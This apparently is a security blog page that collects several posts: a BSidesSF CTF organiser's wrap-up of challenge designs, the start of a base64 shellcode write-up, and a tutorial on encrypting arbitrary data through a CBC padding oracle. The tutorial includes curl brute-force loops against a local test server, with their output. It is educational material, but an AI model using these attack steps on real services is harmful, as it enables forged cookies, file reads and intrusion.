Solving b-64-b-tuff: writing base64 and alphanumeric shellcode

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Hey everybody,

A couple months ago, we ran BSides San Francisco CTF. It was fun, and I posted blogs about it at the time, but I wanted to do a late writeup for the level b-64-b-tuff.

The challenge was to write base64-compatible shellcode. There's an easy solution - using an alphanumeric encoder - but what's the fun in that? (also, I didn't think of it :) ). I'm going to cover base64, but these exact same principles apply to alphanumeric - there's absolutely on reason you couldn't change the SET variable in my examples and generate alphanumeric shellcode.

In this post, we're going to write a base64 decoder stub by hand, which encodes some super simple shellcode. I'll also post a link to a tool I wrote to automate this.

I can't promise that this is the best, or the easiest, or even a sane way to do this. I came up with this process all by myself, but I have to imagine that the generally available encoders do basically the same thing. :)
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BSidesSF CTF wrap-up

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Welcome!

While this is technically a CTF writeup, like I frequently do, this one is going to be a bit backwards: this is for a CTF I ran, instead of one I played! I've gotta say, it's been a little while since I played in a CTF, but I had a really good time running the BSidesSF CTF! I just wanted to thank the other organizers - in alphabetical order - @bmenrigh, @cornflakesavage, @itsc0rg1, and @matir. I couldn't have done it without you folks!

BSidesSF CTF was a capture-the-flag challenge that ran in parallel with BSides San Francisco. It was designed to be easy/intermediate level, but we definitely had a few hair-pulling challenges.

The goal of this post is to explain a little bit of the motivation behind the challenges I wrote, and to give basic solutions. It's not going to have a step-by-step walkthrough of each challenge - though you might find that in the writeups list - but, rather, I'll cover what I intended to teach, and some interesting (to me :) ) trivia.

If you want to see the source of the challenges, our notes, and mostly everything else we generated as part of creating this CTF, you can find them here:

  • Original sourcecode on github
  • Google Drive notes (note that that's not the complete set of notes - some stuff (like comments from our meetings, brainstorming docs, etc) are a little too private, and contain ideas for future challenges :) )

Part of my goal for releasing all of our source + planning documents + deployment files is to a) show others how a CTF can be run, and b) encourage other CTF developers to follow suit and release their stuff!

As of the writing, the scoreboard and challenges are still online. We plan to keep them around for a couple more days before finally shutting them down.

Infrastructure

The rest of my team can most definitely confirm this: I'm not an infrastructure kinda guy. I was happy to write challenges, and relied on others for infrastructure bits. The only thing I did was write a Dockerfile for each of my challenges.

As such, I'll defer to my team on this part. I'm hoping that others on my team will post more details about the configurations, which I'll share on my Twitter feed. You can also find all the Dockerfiles and deployment scripts on our Github repository.

What I do know is, we used:

  • Googles CTF Scoreboard running on AppEngine for our scoreboard
  • Dockerfiles for each challenge that had an online component, and Docker for testing
  • docker-compose for testing
  • Kubernetes for deployment
  • Google Container Engine for running all of that in The Cloud

As I said, all the configurations are on Github. The infrastructure worked great, though, we had absolutely no traffic or load problems, and only very minor other problems.

I'm also super excited that Google graciously sponsored all of our Google Cloud expenses! The CTF weekend cost us roughly $500 - $600, and as of now we've spent a little over $800.

Players

Just a few numbers:

  • We had 728 teams register
  • We had 531 teams score at least one point
  • We had 354 teams score at least 100 points
  • We had 23 teams submit at least one on-site flag (presumably, that many teams played on-site)

Also, the top-10 teams were:

  • dcua :: 6773
  • OpenToAll :: 5178
  • scryptos :: 5093
  • Dragon Sector :: 4877
  • Antichat :: 4877
  • p4 :: 4777
  • khack40 :: 4677
  • squareroots :: 4643
  • ASIS :: 4427
  • Ox002147 :: 4397

The top-10 teams on-site were:

  • OpenToAll :: 5178
  • ▣ :: 3548
  • hash_slinging_hackers :: 3278
  • NeverTry :: 2912
  • 0x41434142 :: 2668
  • DevOps Solution :: 1823
  • Shadow Cats :: 1532
  • HOW BOU DAH :: 1448
  • Newbie :: 762
  • CTYS :: 694

The full list can be found on our CTFTime.org page.

On-site challenges

We had three on-site challenges (none of them created by me):

on-sight [1]

This was a one-point challenge designed simply to determine who's eligible for on-site prizes. We had to flag taped to the wall. Not super interesting. :)

(Speaking of prizes, I want to give a shout out to Synack for providing some prizes, and in particular to working with us on a fairly complex set-up for dealing with said prizes. :)

Shared Secrets [250]

The Shared Secrets challenge was a last-minute idea. We wanted more on-site challenges, and others on the CTF organizers team came up with Shamir Shared Secret Scheme. We posted QR Codes containing pieces of a secret around the venue.

It was a "3 of 6" scheme, so only three were actually needed to get the secret.

The quotes on top of each image try to push people towards either "Shamir" or "ACM 22(11)". My favourite was, "Hi, hi, howdy, howdy, hi, hi! While everyone is minus, you could call me multiply", which is a line from a Shamir (the rapper) song. I did not determine if Shamir the rapper and Shamir the cryptographer were the same person. :)

Locker [150]

Locker is really cool! We basically set up a padlock with an Arduino and a receipt printer. After successfully picking the lock, you'd get a one-time-use flag printed out by the printer.

(We had some problems with submitting the flag early-on, because we forgot to build the database for the one-time-use flags, but got that resolved quickly!)

@bmenrigh developed the lock post, which detected the lock opening, and @matir developed the software for the receipt printer.

My challenges

I'm not going to go over others' challenges, other than the on-site ones I already covered, I don't have the insight to make comments on them. However, I do want to cover all my challenges. Not a ton of detail, but enough to understand the context. I'll likely blog about a couple of them specifically later.

I probably don't need to say it, but: challenge spoilers coming!

'easy' challenges [10-40]

I wrote a series of what I called 'easy' challenges. They don't really have a trick to them, but teach a fundamental concept necessary to do CTFs. They're also a teaching tool that I plan to use for years to come. :)

easy [10] - a couldn't-be-easier reversing challenge. Asks for a password then prints out a flag. You can get both the password and the flag by running strings on the binary.

easyauth [30] - a web challenge that sets a cookie, and tells you it's setting a cookie. The cookie is simply 'username=guest'. If you change the cookie to 'username=administrator', you're given the flag. This is to force people to learn how to edit cookies in their browser.

easyshell [30] and easyshell64 [30] - these are both simple programs where you can send it shellcode, and they run it. It requires the player to figure out what shellcode is and how to use it (eg, from msfvenom or an online shellcode database). There's both a 32- and a 64-bit version, as well.

easyshell and easyshell64 are also good ways to test shellcode, and a place where people can grab libc binaries, if needed.

And finally, easycap [40] is a simple packet capture, where a flag is sent across the network one packet at a time. I didn't keep my generator, but it's essentially a ruby script that would do a s.send() on each byte of a string.

skipper [75] and skipper2 [200]

Now, we're starting to get into some of the levels that require some amount of specialized knowledge. I wrote skipper and skipper2 for an internal company CTF a long time ago, and have kept them around as useful teaching tools.

One of the first thing I ever did in reverse engineering was write a registration bypass for some icon-maker program on 16-bit DOS using the debug.com command and some dumb luck. Something where you had to find the "Sorry, your registration code is invalid" message and bypass it. I wanted to simulate this, and that's where these came from.

With skipper, you can bypass the checks by just changing the program counter ($eip or $rip) or nop'ing out the checks. skipper2, however, incorporates the results from the checks into the final flag, so they can't be skipped quite so easily. Rather, you have to stop before each check and load the proper value into memory to get the flag. This simulates situations I've legitimately run into while writing keygens.

hashecute [100]

When I originally conceived of hashecute, I had imagined it being fairly difficult. The idea is, you can send any shellcode you want to the server, but you have to prepend the MD5 of the shellcode to it, and the prepended shellcode runs as well. That's gotta be hard, right? Making an MD5 that's executable??

Except it's not, really. You just need to make sure your checksum starts with a short-jump to the end of the checksum (or to a NOP sled if you want to do it even faster!). That's \xeb\x0e (for jmp) or \e9\x0e (for call), as the simplest examples (there are practically infinite others). And it's really easy to do that by just appending crap to the end of the shellcode: you can see that in my solution.

It does, however, teach a little critical thinking to somebody who might not be super accustomed to dealing with machine code, so I intend to continue using this one as a teaching tool. :)

b-64-b-tuff [100]

b-64-b-tuff has the dual-honour of both having the stupidest name and being the biggest waste of my own time .:)

So, I came up with the idea of writing this challenge during a conversation with a friend: I said that I know people have written shellcode encoders for unicode and other stuff, but nobody had ever written one for Base64. We should make that a challenge!

So I spent a couple minutes writing the challenge. It's mostly just Base64 code from StackOverflow or something, and the rest is the same skeleton as easyshell/easyshell64.

Then I spent a few hours writing a pure Base64 shellcode encoder. I intend to do a future blog 100% about that process, because I think it's actually a kind of interesting problem. I eventually got to the point where it worked perfectly, and I was happy that I could prove that this was, indeed, solveable! So I gave it a stupid name and sent out my PR.

That's when I think @matir said, "isn't Base64 just a superset of alphanumeric?".

Yes. Yes it is. I could have used any off-the-shelf alphanumeric shellcode encoder such as msfvenom. D'OH!

But, the process was really interesting, and I do plan to write about it, so it's not a total loss. And I know at least one player did the same (hi @Grazfather! [he graciously shared his code where he encoded it all by hand]), so I feel good about that :-D

in-plain-sight [100]

I like to joke that I only write challenges to drive traffic to my blog. This is sort of the opposite: it rewards teams that read my blog. :)

A few months ago, while writing the delphi-status challenge (more on that one later), I realized that when encrypting data using a padding oracle, the last block can be arbitrarily chosen! I wrote about it in an off-handed sort of way at that time.

Shortly after, I realized that it could make a neat CTF challenge, and thus was born in-plain-site.

It's kind of a silly little challenge. Like one of those puzzles you get in riddle books. The ciphertext was literally the string "HiddenCiphertext", which I tell you in the description, but of course you probably wouldn't notice that. When you do, it's a groaner. :)

Fun story: I had a guy from the team OpenToAll bring up the blog before we released the challenge, and mention how he was looking for a challenge involving plaintext ciphertext. I had to resist laughing, because I knew it was coming!

i-am-the-shortest [200]

This was a silly little level, which once again forces people to get shellcode. You're allowed to send up to 5 bytes of shellcode to the server, where the flag is loaded into memory, and the server executes them.

Obviously, 5 bytes isn't enough to do a proper syscall, so you have to be creative. It's more of a puzzle challenge than anything.

The trick is, I used a bunch of in-line assembly when developing the challenge (see the original source, it isn't pretty!) that ensures that the registers are basically set up to make a syscall - all you have to do it move esi (a pointer to the flag) into ecx. I later discovered that you can "link" variables to specific registers in gcc.

The intended method was for people to send \xcc for the shellcode (or similar) and to investigate the registers, determining what the state was, and then to use shellcode along the lines of xchg esi, ecx / int 0x80. And that's what most solvers I talked to did.

One fun thing: eax (which is the syscall number when a syscall is made) is set to len(shellcode) (the return value of read()). Since sys_write, the syscall you want to make, is number 4, you can easily trigger it by sending 4 bytes. If you send 5 bytes, it makes the wrong call.

Several of the solutions I saw had a dec eax instruction in them, however! The irony is, you only need that instruction because you have it. If you had just left it off, eax would already be 4!

delphi-status [250]

delphi-status was another of those levels where I spent way more time on the solution than on the challenge.

It seems common enough to see tools to decrypt data using a padding oracle, but not super common to see challenges where you have to encrypt data with a padding oracle. So I decided to create a challenge where you have to encrypt arbitrary data!

The original goal was to make somebody write a padding oracle encryptor tool for me. That seemed like a good idea!

But, I wanted to make sure this was do-able, and I was just generally curious, so I wrote it myself. Then I updated my tool Poracle to support encryption, and wrote a blog about it. If there wasn't a tool available that could encrypt arbitrary data with a padding oracle, I was going to hold back on releasing the code. But tools do exist, so I just released mine.

It turns out, there was a simpler solution: you could simply xor-out the data from the block when it's only one block, and xor-in arbitrary data. I don't have exact details, but I know it works. Basically, it's a classic stream-cipher-style attack.

And that just demonstrates the Cryptographic Doom Principle :)

ximage [300]

ximage might be my favourite level. Some time ago - possibly years - I was chatting with a friend, and steganography came up. I wondered if it was possible to create an image where the very pixels were executable!?

I went home wondering if that was possible, and started trying to think of 3-byte NOP-equivalent instructions. I managed to think of a large number of work-able combinations, including ones that modified registers I don't care about, plus combinations of 1- and 2-byte NOP-equivalents. By the end, I could reasonably do most colours in an image, including black (though it was slightly greenish) and white. You can find the code here.

(I got totally nerdsniped while writing this, and just spent a couple days trying to find every 3-byte NOP equivalent to see how much I can improve this!)

Originally, I just made the image data executable, so you'd have to ignore the header and run the image body. Eventually, I noticed that the bitmap header, 'BM', was effectively inc edx / dec ebp, which is a NOP for all I'm concerned. That's followed by a 2-byte length value. I changed that length on every image to be \xeb\x32, which is effectively a jump to the end of the header. That also caused weird errors when reading the image, which I was totally fine with leaving as a hint.

So what you have is an image that's effectively shellcode; it can be loaded into memory and run. A steganographic method that has probably never been done. :)

beez-fight [350]

beez-fight was an item-duplication vulnerability that was modeled after a similar vulnerability in Diablo 2. I had a friend a lonnnng time ago who discovered a vulnerability in Diablo 2, where when you sold an item it was copied through a buffer, and that buffer could be sold again. I was trying to think of a similar vulnerability, where a buffer wasn't cleared correctly.

I started by writing a simple game engine. While I was creating items, locations, monsters, etc., I didn't really think about how the game was going to be played - browser? A binary I distribute? netcat? Distributing a binary can be fun, because the player has to reverse engineer the protocol. But netcat is easier! The problem is, the vulnerability has to be a bit more subtle in netcat, because I can't depend on a numbered buffer - what you see is what you get!

Eventually, I came upon the idea of equip/unequip being problematic. Not clearing the buffer properly!

Something I see far too much in real life is code that checks if an object exists in a different way in different places. So I decided to replicate that - I had both an item that's NULL-able, and a flag :is_equipped. When you tried to use an item, it would check if the :is_equipped flag is set. But when you unequipped it, it checked if the item was NULL, which never actually happened (unequipping it only toggled the flag). As a result, you could unequip the item multiple times and duplicate it!

Once that was done, the rest was easy: make a game that's too difficult to reasonably survive, and put a flag in the store that's worth a lot of gold. The only reasonable way to get the flag is to duplicate an item a bunch, then sell it to buy the flag.

I think I got the most positive feedback on this challenge, people seem to enjoy game hacking!

vhash + vhash-fixed [450]

This is a challenge that me and @bmenrigh came up with, designed to be quite difficult. It was vhash, and, later, vhash-fixed - but we'll get to that. :)

It all dates back to a conversation I had with @joswr1ght about a SANS Holiday Hack Challenge level I was designing. I suggested using a hash-extension vulnerability, and he said we can't, because of hash_extender, recklessly written by yours truly, ruining hash extension vulnerabilities forever!

I found that funny, and mentioned it to @bmenrigh. We decided to make our own novel hashing algorithm that's vulnerable to an extension attack. We decided to make it extra hard by not giving out source! Players would have to reverse engineer the algorithm in order to implement the extension attack. PERFECT! Nobody knows as well as me how difficult it can be to create a new hash extension attack. :)

Now, there is where it gets a bit fun. I agreed to write the front-end if he wrote the back-end. The front-end was almost exactly easyauth, except the cookie was signed. We decided to use an md5sum-like interface, which was a bit awkward in PHP, but that was fine. I wrote and tested everything with md5sum, and then awaited the vhash binary.

When he sent it, I assumed vhash was a drop-in replacement without thinking too much about it. I updated the hash binary, and could log in just fine, and that was it.

When the challenge came out, the first solve happened in only a couple minutes. That doesn't seem possible! I managed to get in touch with the solver, and he said that he just changed the cookie and ignored the hash. Oh no! Our only big mess-up!

After investigation, we discovered that the agreed md5sum-like interface meant, to @bmenrigh, that the data would come on stdin, and to me it meant that the file would be passed as a parameter. So, we were hashing the empty string every time. Oops!

Luckily, we found it, fixed it, and rolled out an updated version shortly after. The original challenge became an easy 450-pointer for anybody who bothered to try, and the real challenge was only solved by a few, as intended.

dnscap [500]

dnscap is simply a packet-capture from dnscat2, running in unecrypted-mode, over a laggy connection (coincidentally, I'm writing this writeup at the same bar where I wrote the original challenge!). In dnscat2, I sent a .png file that contains the dnscat2 logo, as well as the flag. Product placement anyone?

I assumed it would be fairly difficult to disentangle the packets going through, which is why we gave it a high point-value. Ultimately, it was easier than we'd expected, people were able to solve it fairly quickly.

nibbler [666]

And finally, my old friend nibbler.

At some point in the past few months, I had the realization: nibbles (the snake game for QBasic where I learned to program) sounds like nibble (a 4-bit value). I forget where it came from exactly, but I had the idea to build a nibbles-clone with a vulnerability where you'd have to exploit it by collecting the 'fruit' at the right time.

I originally stored the scores in an array, and each 'fruit' would change between between worth 00 and FF points. You'd have to overflow the stack and build an exploit by gathering fruit with the snake. You'll notice that the name that I ask for at the start uses read() - that's so it can have NUL bytes so you can build a ROP-chain in your name.

I realized that picking values between 00 and FF would take FOREVER, and wanted to get back to the original idea: nibbles! But I couldn't think of a way to make it realistic while only collecting 4-bit values.

Eventually, I decided to drop the premise of performing an exploit, and instead, just let the user write shellcode that is run directly. As a result, it went from a pwn to a programming challenge, but I didn't re-categorize it, largely because we don't have programming challenges.

It ended up being difficult, but solveable! One of my favourite writeups is here; I HIGHLY recommend reading it. My favourite part is that he named the snakes and drew some damn sexy images!

I just want to give a shout out to the poor soul, who I won't name here, who solved this level BY HAND, but didn't cat the flag file fast enough. I shouldn't have had the 10-second timeout, but we did. As a result, he didn't get the flag. I'm so sorry. :(

Fun fact: @bmenrigh was confident enough that this level was impossible to solve that he made me a large bet that less than 2 people would solve it. Because we had 9 solvers, I won a lot of alcohol! :)

Conclusion

Hopefully you enjoyed hearing a little about the BSidesSF CTF challenges I wrote! I really enjoyed writing them, and then seeing people working on solving them!

On some of the challenges, I tried to teach something (or have a teachable lesson, something I can use when I teach). On some, I tried to make something pretty difficult. On some, I fell somewhere between. But there's one thing they have in common: I tried to make my own challenges as easy as possible to test and validate. :)

Going the other way with padding oracles: Encrypting arbitrary data!

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A long time ago, I wrote a couple blogs that went into a lot of detail on how to use padding oracle vulnerabilities to decrypt an encrypted string of data. It's pretty important to understand to use a padding oracle vulnerability for decryption before reading this, so I'd suggest going there for a refresher.

When I wrote that blog and the Poracle tool originally, I didn't actually know how to encrypt arbitrary data using a padding oracle. I was vaguely aware that it was possible, but I hadn't really thought about it. But recently, I decided to figure out how it works. I thought and thought, and finally came up with this technique that seems to work. I also implemented it in Poracle in commit a5cfad76ad.

Although I technically invented this technique myself, it's undoubtedly the same technique that any other tools / papers use. If there's a better way - especially on dealing with the first block - I'd love to hear it!

Anyway, in this post, we'll talk about a situation where you have a padding oracle vulnerability, and you want to encrypt arbitrary data instead of decrypting their data. It might, for example, be a cookie that contains a filename for your profile data. If you change the encrypted data in a cookie to an important file on the filesystem, suddenly you have arbitrary file read!

The math

If you aren't familiar with block ciphers, how they're padded, how XOR (⊕) works, or how CBC chaining works, please read my previous post. I'm going to assume you're familiar with all of the above!

We'll define our variables more or less the same as last time:

  Let P   = the plaintext, and Pn = the plaintext of block n (where n is in
            the range of 1..N). We select this.
  Let C   = the corresponding ciphertext, and Cn = the ciphertext
            of block n (the first block being 1) - our goal is to calculate this
  Let N   = the number of blocks (P and C have the same number of blocks by
            definition). PN is the last plaintext block, and CN is
            the last ciphertext block.
  Let IV  = the initialization vector — a random string — frequently
            (incorrectly) set to all zeroes. We'll mostly call this C0 in this
            post for simplicity (see below for an explanation).
  Let E() = a single-block encryption operation (any block encryption
            algorithm, such as AES or DES, it doesn't matter which), with some
            unique and unknown (to the attacker) secret key (that we don't
            notate here).
  Let D() = the corresponding decryption operation.

And the math for encryption:

  C1 = E(P1 ⊕ IV)
  Cn = E(Pn ⊕ Cn-1) — for all n > 1

And, of course, decryption:

  P1 = D(C1) ⊕ IV
  Pn = D(Cn) ⊕ Cn-1 - for all n > 1

Notice that if you define the IV as C0, both formulas could be simplified to just a single line.

The attack

Like decryption, we divide the string into blocks, and attack one block at a time.

We start by taking our desired string, P, and adding the proper padding to it, so when it's decrypted, the padding is correct. If there are n bytes required to pad the string to a multiple of the block length, then the byte n is added n times.

For example, if the string is hello world! and the blocksize is 16, we have to add 4 bytes, so the string becomes hello world!\x04\x04\x04\x04. If the string is an exact multiple of the block length, we add a block afterwards with nothing but padding (so this is a test!!, because it's 16 bytes, becomes this is a test!!\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10, for example (assume the blocksize is 16, which will will throughout).

Once we have a string, P, we need to generate the ciphertext, C from it. And here's how that happens...

Overview

After writing everything below, I realized that it's a bit hard to follow. Math, etc. So I'm going to start by summarizing the steps before diving more deeply into all the details. Good luck!

To encrypt arbitrary text with a padding oracle...

  • Select a string, P, that you want to generate ciphertext, C, for
  • Pad the string to be a multiple of the blocksize, using appropriate padding, then split it into blocks numbered from 1 to N
  • Generate a block of random data (CN - ultimately, the final block of ciphertext)
  • For each block of plaintext, starting with the last one...
    • Create a two-block string of ciphertext, C', by combining an empty block (00000...) with the most recently generated ciphertext block (Cn+1) (or the random one if it's the first round)
    • Change the last byte of the empty block until the padding errors go away, then use math (see below for way more detail) to set the last byte to 2 and change the second-last byte till it works. Then change the last two bytes to 3 and figure out the third-last, fourth-last, etc.
    • After determining the full block, XOR it with the plaintext block Pn to create Cn
    • Repeat the above process for each block (prepend an empty block to the new ciphertext block, calculate it, etc)

To put that in English: each block of ciphertext decrypts to an unknown value, then is XOR'd with the previous block of ciphertext. By carefully selecting the previous block, we can control what the next block decrypts to. Even if the next block decrypts to a bunch of garbage, it's still being XOR'd to a value that we control, and can therefore be set to anything we want.

A quick note about the IV

In CBC mode, the IV - initialization vector - sort of acts as a ciphertext block that comes before the first block in terms of XOR'ing. Sort of an elusive "zeroeth" block, it's not actually decrypted; instead, it's XOR'd against the first real block after decrypting to create P1. Because it's used to set P1, it's calculated exactly the same as every other block we're going to talk about, except the final block, CN, which is random.

If we don't have control of the IV - which is pretty common - then we can't control the first block of plaintext, P1, in any meaningful way. We can still calculate the full plaintext we want, it's just going to have a block of garbage before it.

Throughout this post, just think of the IV another block of ciphertext; we'll even call it C0 from time to time. C0 is used to generate P1 (and there's no such thing as P0).

Generate a fake block

The "last" block of ciphertext, CN, is generated first. Normally you'd just pick a random blocksize-length string and move on. But you can also have some fun with it! The rest of this section is just a little playing, and is totally tangential to the point; feel free to skip to the next section if you just want the meat.

So yeah, interesting tangential fact: the final ciphertext block, CN can be any arbitrary string of blocksize bytes. All 'A's? No problem. A message to somebody? No problem. By default, Poracle simply randomizes it. I assume other tools do as well. But it's interesting that we can generate arbitrary plaintext!

Let's have some fun:

  • Algorithm = "AES-256-CBC"
  • Key = c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1
  • IV = 78228d4760a3675aa08d47694f88f639
  • Ciphertext = "IS THIS SECRET??"

The ciphertext is ASCII!? Is that even possible?? It is! Let's try to decrypt it:

  2.3.0 :001 > require 'openssl'
   => true

  2.3.0 :002 > c = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
   => #<OpenSSL::Cipher::Cipher:0x00000001de2578>

  2.3.0 :003 > c.decrypt
   => #<OpenSSL::Cipher::Cipher:0x00000001de2578>

  2.3.0 :004 > c.key = ['c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1'].pack('H*')
   => "\xC0\x86\xE0\x8A\xD8\xEE\x0E\xBE|# \t\x9C\xFE\xC9\xEE\xA9\xA3F\xA1\bW\nOd\x94\xCF\xE7\xC2\xA3\x0E\xE1" 

  2.3.0 :005 > c.iv = ['78228d4760a3675aa08d47694f88f639'].pack('H*')
   => "x\"\x8DG`\xA3gZ\xA0\x8DGiO\x88\xF69" 

  2.3.0 :006 > c.update("IS THIS SECRET??") + c.final()
   => "NO, NOT SECRET!"

It's ciphertext that looks like ASCII ("IS THIS SECRET??") that decrypts to more ASCII ("NO, NOT SECRET!"). How's that even work!?

We'll see shortly why this works, but fundamentally: we can arbitrarily choose the last block (I chose ASCII) for padding-oracle-based encryption. The previous blocks - in this case, the IV - is what we actually have to determine. Change that IV, and this won't work anymore.

Calculate a block of ciphertext

Okay, we've created the last block of ciphertext, CN. Now we want to create the second-last block, CN-1. This is where it starts to get complicated. If you can follow this sub-section, everything else is easy! :)

Let's start by making a new ciphertext string, C'. Just like in decrypting, C' is a custom-generated ciphertext string that we're going to send to the oracle. It's made up of two blocks:

  • C'1 is the block we're trying to determine; we set it to all zeroes for now (though the value doesn't actually matter)
  • C'2 is the previously generated block of ciphertext (on the first round, it's CN, the block we randomly generated; on ensuing rounds, it's Cn+1 - the block after the one we're trying to crack).

I know that's confusing, but let's push forward and look at how we generate a C' block and it should all become clear.

Imagine the string:

  C' = 00000000000000000000000000000000 || CN
                ^^^ CN-1 ^^^

Keep in mind that CN is randomly chosen. We don't know - and can't know - what C'2 decrypts to, but we'll call it P'2. We do know something, though - after it's decrypted to something, it's XOR'd with the previous block of ciphertext (C'1), which we control. Then the padding's checked. Whether or not the padding is correct or incorrect depends wholly on C'1! That means by carefully adjusting C'1, we can find a string that generates correct padding for P'2.

Because the only things that influence P'2 are the encryption function, E(), and the previous ciphertext block, C'1, we can set it to anything we want without ever seeing it! And once we find a value for C' that decrypts to the P'2 we want, we have everything we need to create a CN-1 that generates the PN we want!

So we create a string like this:

  00000000000000000000000000000000 41414141414141414141414141414141
        ^^^ C'1 / CN-1 ^^^                  ^^^ C'2 / CN ^^^

The block of zeroes is the block we're trying to figure out (it's going to be CN-1), and the block of 41's is the block of arbitrary/random data (CN).

We send that to the server, for example, like this (this is on Poracle's RemoteTestServer.rb app, with a random key and blank IV - you should be able to just download and run the server, though you might have to run gem install sinatra):

  • http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141

We're almost certainly going to get a padding error returned, just like in decryption (there's a 1/256 chance it's going to be right). So we change the last byte of block C'1 until we stop getting padding errors:

  • http://localhost:20222/decrypt/0000000000000000000000000000000141414141414141414141414141414141
  • http://localhost:20222/decrypt/0000000000000000000000000000000241414141414141414141414141414141
  • http://localhost:20222/decrypt/0000000000000000000000000000000341414141414141414141414141414141
  • http://localhost:20222/decrypt/0000000000000000000000000000000441414141414141414141414141414141
  • ...

And eventually, you'll get a success:

$ for i in `seq 0 255`; do
URL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x41414141414141414141414141414141" $i`
echo $URL
curl "$URL"
echo ''
done

http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000141414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000241414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000341414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000441414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000541414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000641414141414141414141414141414141
Success!
http://localhost:20222/decrypt/0000000000000000000000000000000741414141414141414141414141414141
Fail!
...

We actually found the valid encoding really early this time! When C'1 ends with 06, the last byte of P'2, decrypts to 01. That means if we want the last byte of the generated plaintext (P'2) to be 02, we simply have to XOR the value by 01 (to set it to 00), then by 02 (to set it to 02). 06 ⊕ 01 ⊕ 02 = 05. Therefore, if we set the last byte of C'1 to 05, we know that the last byte of P'2 will be 02, and we can start bruteforcing the second-last byte:

$ for i in `seq 0 255`; do
URL=`printf "http://localhost:20222/decrypt/0000000000000000000000000000%02x0541414141414141414141414141414141" $i`
echo $URL
curl "$URL"
echo ''
done

http://localhost:20222/decrypt/0000000000000000000000000000000541414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000010541414141414141414141414141414141
Fail!
...
http://localhost:20222/decrypt/0000000000000000000000000000350541414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000360541414141414141414141414141414141
Success!
...

So now we know that when C'N-1 ends with 3605, P'2 ends with 0202. We'll go one more step: if we change C'1 such that P'2 ends with 0303, we can start working on the third-last character in C'1. 36 ⊕ 02 ⊕ 03 = 37, and 05 ⊕ 02 ⊕ 03 = 04 (we XOR by 2 to set the values to 0, then by 3 to set it to 3):

$ for i in `seq 0 255`; do
URL=`printf "http://localhost:20222/decrypt/00000000000000000000000000%02x370441414141414141414141414141414141" $i`
echo $URL
curl "$URL"
echo ''
done

...
http://localhost:20222/decrypt/000000000000000000000000006b370441414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/000000000000000000000000006c370441414141414141414141414141414141
Success!
...

So now, when C'1 ends with 6c3704, P'2 ends with 030303.

We can go on and on, but I automated it using Poracle and determined that the final value for C'1 that works is 12435417b15e3d7552810313da7f2417

$ curl 'http://localhost:20222/decrypt/12435417b15e3d7552810313da7f241741414141414141414141414141414141'
Success!

That means that when C'1 is 12435417b15e3d7552810313da7f2417, P'2 is 10101010101010101010101010101010 (a full block of padding).

We can once again use XOR to remove 101010... from C'1, giving us: 02534407a14e2d6542911303ca6f3407. That means that when C'1 equals 02534407a14e2d6542911303ca6f3407), P'2 is 00000000000000000000000000000000. Now we can XOR it with whatever we want to set it to an arbitrary value!

Let's say we want the last block to decrypt to 0102030405060708090a0b0c0d0e0f (15 bytes). We:

  • Add one byte of padding: 0102030405060708090a0b0c0d0e0f01
  • XOR C'1 (02534407a14e2d6542911303ca6f3407) with 0102030405060708090a0b0c0d0e0f01 => 03514703a4482a6d4b9b180fc7613b06
  • Append the final block, CN, to create C: 03514703a4482a6d4b9b180fc7613b0641414141414141414141414141414141
  • Send it to the server to be decrypted...
$ curl 'http://localhost:20222/decrypt/03514703a4482a6d4b9b180fc7613b0641414141414141414141414141414141'
Success

And, if you actually calculate it with the key I'm using, the final plaintext string P' is c49f1fdcd1cd93daf4e79a18637c98d80102030405060708090a0b0c0d0e0f.

(The block of garbage is a result of being unable to control the IV)

Calculating the next block of ciphertext

So now, where have we gotten ourselves?

We have values for CN-1 (calculated) and CN (arbitrarily chosen). How do we calculate CN-2?

This is actually pretty easy. We generate ourselves a two-block string again, C'. Once again, C'1 is what we're trying to bruteforce, and is normally set to all 00's. But this time, C'2 is CN-1 - the ciphertext we just generated.

Let's take a new C' of:

000000000000000000000000000000000 3514703a4482a6d4b9b180fc7613b06
        ^^^ C'1 / CN-2 ^^^                 ^^^ C'2 / CN-1 ^^^

We can once again determine the last byte of C'1 that will cause the last character of P'2 to be valid padding (01):

$ for i in `seq 0 255`; do
URL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x3514703a4482a6d4b9b180fc7613b06" $i`
echo $URL
curl "$URL"
echo ''
done
...
http://localhost:20222/decrypt/000000000000000000000000000000313514703a4482a6d4b9b180fc7613b06
Fail!
http://localhost:20222/decrypt/000000000000000000000000000000323514703a4482a6d4b9b180fc7613b06
Fail!
http://localhost:20222/decrypt/000000000000000000000000000000333514703a4482a6d4b9b180fc7613b06
Success!
...

...and so on, just like before. When this block is done, move on to the previous, and previous, and so on, till you get to the first block of P. By then, you've determined all the values for C1 up to CN-1, and you have your specially generated CN with whatever value you want. Thus, you have the whole string!

So to put it in another way, we calculate:

  • CN = random / arbitrary
  • CN-1 = calculated from CN combined with PN
  • CN-2 = calculated from CN-1 combined with PN-1
  • CN-3 = calculated from CN-2 combined with PN-2
  • ...
  • C1 = calculated from C2 combined with P2
  • C0 (the IV) = calculated from C1 combined with P1

So as you can see, each block is based on the next ciphertext block and the next plaintext block.

Conclusion

Well, that's about all I can say about using a padding oracle vulnerability to encrypt arbitrary data.

If anything is unclear, please let me know! And, you can see a working implementation in Poracle.rb.

dnscat2 0.05: with tunnels!

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Greetings, and I hope you're all having a great holiday!

My Christmas present to you, the community, is dnscat2 version 0.05!

